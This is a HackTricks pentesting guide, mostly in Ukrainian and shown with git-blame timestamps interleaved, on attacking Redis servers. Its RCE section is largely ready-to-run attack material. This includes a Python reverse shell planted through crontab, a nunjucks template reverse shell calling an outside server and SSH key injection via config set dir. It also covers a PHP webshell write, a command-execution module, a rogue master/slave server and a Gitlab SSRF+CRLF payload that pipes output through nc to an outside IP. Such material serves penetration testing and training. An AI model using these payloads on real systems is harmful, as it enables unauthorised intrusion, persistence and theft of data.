hacktricks/network-services-pentesting/6379-pentesting-redis.md

343 lines
25 KiB
Markdown
Raw Normal View History

# 6379 - Pentesting Redis
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-01-03 10:42:55 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
2023-02-27 09:28:45 +00:00
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
2023-02-27 09:28:45 +00:00
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
2023-07-14 15:03:41 +00:00
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
2023-07-14 15:03:41 +00:00
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
2022-11-05 09:07:43 +00:00
## Основна інформація
З [документації](https://redis.io/topics/introduction): Redis - це відкритий код (ліцензія BSD), сховище **структур даних** в пам'яті, яке використовується як **база даних**, кеш і брокер повідомлень.
2024-02-08 21:36:35 +00:00
За замовчуванням Redis використовує протокол на основі простого тексту, але ви повинні пам'ятати, що він також може реалізувати **ssl/tls**. Дізнайтеся, як [запустити Redis з ssl/tls тут](https://fossies.org/linux/redis/TLS.md).
2024-03-29 18:49:46 +00:00
**Порт за замовчуванням:** 6379
```
PORT STATE SERVICE VERSION
2020-09-24 19:39:13 +00:00
6379/tcp open redis Redis key-value store 4.0.9
```
## Автоматичне перерахування
2024-03-29 18:49:46 +00:00
Деякі автоматизовані інструменти, які можуть допомогти отримати інформацію з екземпляра redis:
2020-07-19 21:58:26 +00:00
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## Manual Enumeration
### Banner
Redis є **текстовим протоколом**, ви можете просто **надіслати команду в сокет** і повернуті значення будуть читабельними. Також пам'ятайте, що Redis може працювати з використанням **ssl/tls** (але це дуже дивно).
2020-07-20 15:31:30 +00:00
У звичайному екземплярі Redis ви можете просто підключитися за допомогою `nc` або ви також можете використовувати `redis-cli`:
2020-07-20 15:31:30 +00:00
```bash
nc -vn 10.10.10.10 6379
2020-07-20 15:31:30 +00:00
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
Першою командою, яку ви можете спробувати, є **`info`**. Вона **може повернути вихід з інформацією** про екземпляр Redis **або щось** подібне до наступного:
```
2020-07-20 15:31:30 +00:00
-NOAUTH Authentication required.
```
У цьому останньому випадку це означає, що **вам потрібні дійсні облікові дані** для доступу до екземпляра Redis.
2024-03-29 18:49:46 +00:00
### Аутентифікація Redis
**За замовчуванням** Redis можна отримати доступ **без облікових даних**. Однак його можна **налаштувати** на підтримку **тільки пароля або імені користувача + пароля**.\
Можна **встановити пароль** у файлі _**redis.conf**_ за допомогою параметра `requirepass` **або тимчасово** до перезапуску служби, підключившись до неї та виконавши: `config set requirepass p@ss$12E45`.\
Також можна налаштувати **ім'я користувача** в параметрі `masteruser` всередині файлу _**redis.conf**_.
2020-07-20 15:31:30 +00:00
{% hint style="info" %}
Якщо налаштовано лише пароль, то використовується ім'я користувача "**default**".\
Також зверніть увагу, що **немає способу дізнатися зовні**, чи був Redis налаштований лише з паролем або з ім'ям користувача + паролем.
2020-07-20 15:31:30 +00:00
{% endhint %}
У таких випадках вам **потрібно знайти дійсні облікові дані** для взаємодії з Redis, тому ви можете спробувати [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis).\
**У разі, якщо ви знайшли дійсні облікові дані, вам потрібно аутентифікувати сесію** після встановлення з'єднання за допомогою команди:
2020-07-20 15:31:30 +00:00
```bash
AUTH <username> <password>
```
**Дійсні облікові дані** будуть підтверджені: `+OK`
### **Аутентифікована енумерація**
2020-07-20 15:31:30 +00:00
Якщо сервер Redis дозволяє **анонімні з'єднання** або якщо ви отримали дійсні облікові дані, ви можете розпочати процес енумерації для служби, використовуючи наступні **команди**:
2020-07-19 22:28:20 +00:00
```bash
2020-07-20 15:31:30 +00:00
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
2024-03-29 18:49:46 +00:00
**Інші команди Redis** [**можна знайти тут**](https://redis.io/topics/data-types-intro) **і** [**тут**](https://lzone.de/cheat-sheet/Redis)**.**
Зверніть увагу, що **команди Redis екземпляра можуть бути перейменовані** або видалені у файлі _redis.conf_. Наприклад, цей рядок видалить команду FLUSHDB:
```
2020-07-23 16:41:26 +00:00
rename-command FLUSHDB ""
```
Більше про безпечну конфігурацію служби Redis тут: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
2020-07-23 16:41:26 +00:00
Ви також можете **моніторити в реальному часі команди Redis**, виконані за допомогою команди **`monitor`**, або отримати топ **25 найповільніших запитів** за допомогою **`slowlog get 25`**
Знайдіть більше цікавої інформації про інші команди Redis тут: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
2020-07-20 15:31:30 +00:00
### **Вивантаження бази даних**
У Redis **бази даних - це числа, що починаються з 0**. Ви можете дізнатися, чи використовується якась з них, у виході команди `info` у частині "Keyspace":
![](<../.gitbook/assets/image (766).png>)
2024-03-29 18:49:46 +00:00
Або ви можете просто отримати всі **keyspaces** (бази даних) за допомогою:
2022-09-01 13:34:28 +00:00
```
INFO keyspace
```
У цьому прикладі використовуються **бази даних 0 та 1**. **База даних 0 містить 4 ключі, а база даних 1 містить 1**. За замовчуванням Redis використовуватиме базу даних 0. Щоб, наприклад, скинути базу даних 1, вам потрібно зробити:
```bash
SELECT 1
[ ... Indicate the database ... ]
2024-03-29 18:49:46 +00:00
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
У випадку, якщо ви отримаєте наступну помилку `-WRONGTYPE Operation against a key holding the wrong kind of value` під час виконання `GET <KEY>`, це може бути через те, що ключ може бути чимось іншим, ніж рядок або ціле число, і вимагає спеціального оператора для його відображення.
Щоб дізнатися тип ключа, використовуйте команду `TYPE`, приклад нижче для спискових та хеш-ключів.
```bash
2021-11-07 19:50:21 +00:00
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
2021-11-07 19:50:21 +00:00
```
**Вивантажте базу даних за допомогою npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **або python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-03-05 19:54:13 +00:00
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
2023-02-27 09:28:45 +00:00
**Інсайти з хакінгу**\
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
2023-02-27 09:28:45 +00:00
**Новини про хакінг у реальному часі**\
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
2023-02-27 09:28:45 +00:00
**Останні оголошення**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
2023-07-14 15:03:41 +00:00
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
2022-11-05 09:07:43 +00:00
2022-05-01 13:25:53 +00:00
## Redis RCE
### Інтерактивна оболонка
2022-05-08 00:02:12 +00:00
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) може автоматично отримати інтерактивну оболонку або зворотну оболонку в Redis(<=5.0.5).
2022-05-08 00:02:12 +00:00
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
2022-05-08 00:02:12 +00:00
Інформація з [**тут**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Ви повинні знати **шлях** до **папки веб-сайту**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
​Якщо виникає виняток доступу до веб-оболонки, ви можете очистити базу даних після резервного копіювання і спробувати знову, не забувайте відновити базу даних.
2024-03-29 18:49:46 +00:00
### Шаблон веб-оболонки
Як і в попередньому розділі, ви також можете перезаписати деякий html шаблонний файл, який буде інтерпретовано шаблонним двигуном, і отримати оболонку.
2022-06-25 09:48:48 +00:00
Наприклад, слідуючи [**цьому опису**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), ви можете побачити, що зловмисник вставив **rev shell в html**, інтерпретований **двигуном шаблонів nunjucks:**
2022-06-25 09:48:48 +00:00
```javascript
{{ ({}).constructor.constructor(
2024-03-29 18:49:46 +00:00
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
2022-06-25 09:48:48 +00:00
)()}}
```
{% hint style="warning" %}
Зверніть увагу, що **декілька шаблонних движків кешують** шаблони в **пам'яті**, тому навіть якщо ви їх перезапишете, новий **не буде виконаний**. У таких випадках або розробник залишив автоматичне перезавантаження активним, або вам потрібно зробити DoS над сервісом (і сподіватися, що він буде перезапущений автоматично).
2022-06-25 09:48:48 +00:00
{% endhint %}
2022-05-01 13:25:53 +00:00
### SSH
2024-03-29 18:49:46 +00:00
Приклад [звідси](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
2024-02-08 21:36:35 +00:00
Будь ласка, зверніть увагу, що результат **`config get dir`** може змінитися після інших ручних експлойт-команд. Рекомендується виконати його спочатку відразу після входу в Redis. У виході **`config get dir`** ви можете знайти **домашню** директорію **користувача redis** (зазвичай _/var/lib/redis_ або _/home/redis/.ssh_), і знаючи це, ви знаєте, куди можна записати файл `authenticated_users` для доступу через ssh **з користувачем redis**. Якщо ви знаєте домашню директорію іншого дійсного користувача, де у вас є права на запис, ви також можете зловживати цим:
2020-07-20 15:31:30 +00:00
1. Згенеруйте пару ssh публічного-приватного ключа на вашому ПК: **`ssh-keygen -t rsa`**
2. Запишіть публічний ключ у файл : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Імпортуйте файл у redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Збережіть публічний ключ у файлі **authorized\_keys** на сервері redis:
2024-03-29 18:49:46 +00:00
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. Нарешті, ви можете **ssh** на **сервер redis** з приватним ключем : **ssh -i id\_rsa redis@10.85.0.52**
**Ця техніка автоматизована тут:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
2020-07-20 15:31:30 +00:00
2022-05-01 13:25:53 +00:00
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
Останній приклад для Ubuntu, для **Centos** вище наведена команда повинна бути: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Цей метод також можна використовувати для заробітку біткойнів [yam](https://www.v2ex.com/t/286981#reply14)
2024-03-29 18:49:46 +00:00
### Завантаження модуля Redis
1. Дотримуючись інструкцій з [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), ви можете **скомпілювати модуль redis для виконання довільних команд**.
2. Потім вам потрібен спосіб **завантажити скомпільований** модуль.
3. **Завантажте завантажений модуль** під час виконання за допомогою `MODULE LOAD /path/to/mymodule.so`.
4. **Перерахуйте завантажені модулі**, щоб перевірити, чи був він правильно завантажений: `MODULE LIST`.
2024-03-29 18:49:46 +00:00
5. **Виконайте** **команди**:
2021-05-27 10:20:50 +00:00
2024-03-29 18:49:46 +00:00
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Вивантажте модуль, коли захочете: `MODULE UNLOAD mymodule`.
2021-05-27 10:20:50 +00:00
2024-03-29 18:49:46 +00:00
### Обхід пісочниці LUA
2020-07-20 15:31:30 +00:00
[**Тут**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) ви можете побачити, що Redis використовує команду **EVAL** для виконання **коду Lua в пісочниці**. У пов'язаному пості ви можете побачити, **як зловживати цим**, використовуючи функцію **dofile**, але [очевидно](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval), що це більше не можливо. У будь-якому випадку, якщо ви можете **обійти пісочницю Lua**, ви могли б **виконати довільні** команди на системі. Також, з того ж посту ви можете побачити деякі **варіанти для виклику DoS**.
2020-07-20 15:31:30 +00:00
Деякі **CVE для втечі з LUA**:
2022-05-16 21:20:15 +00:00
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Модуль Master-Slave
​Головний redis автоматично синхронізує всі операції з slave redis, що означає, що ми можемо розглядати вразливий redis як slave redis, підключений до головного redis, який ми контролюємо, тоді ми можемо ввести команду до нашого власного redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF talking to Redis
Якщо ви можете надіслати **текстовий** запит **до Redis**, ви можете **спілкуватися з ним**, оскільки Redis буде читати запит рядок за рядком і просто відповідати помилками на рядки, які не розуміє:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Тому, якщо ви знайдете **SSRF vuln** на веб-сайті і зможете **контролювати** деякі **заголовки** (можливо, з вразливістю CRLF) або **POST параметри**, ви зможете надсилати довільні команди до Redis.
### Приклад: Gitlab SSRF + CRLF до Shell
У **Gitlab11.4.7** була виявлена **SSRF** вразливість та **CRLF**. **SSRF** вразливість була в **функціоналі імпорту проекту з URL** під час створення нового проекту і дозволяла отримувати доступ до довільних IP-адрес у формі \[0:0:0:0:0:ffff:127.0.0.1] (це отримує доступ до 127.0.0.1), а вразливість **CRLF** була використана просто **додаванням символів %0D%0A** до **URL**.
Тому було можливим **зловживати цими вразливостями, щоб спілкуватися з екземпляром Redis**, який **керує чергами** з **gitlab** і зловживати цими чергами, щоб **отримати виконання коду**. Пейлоад зловживання чергою Redis:
```
2024-03-29 18:49:46 +00:00
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
І запит **URL encode**, що **зловживає SSRF** та **CRLF** для виконання `whoami` і відправки виходу через `nc`, виглядає так:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_З якоїсь причини (як для автора_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _звідки була взята ця інформація) експлуатація працювала з схемою `git`, а не з схемою `http`._
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2022-11-05 09:07:43 +00:00
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
2023-02-27 09:28:45 +00:00
**Інсайти з хакінгу**\
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
2023-02-27 09:28:45 +00:00
**Новини хакінгу в реальному часі**\
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
2023-02-27 09:28:45 +00:00
**Останні оголошення**\
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
2023-02-27 09:28:45 +00:00
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
2022-11-05 09:07:43 +00:00
{% hint style="success" %}
Вчіться та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Підтримати HackTricks</summary>
2024-01-03 10:42:55 +00:00
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}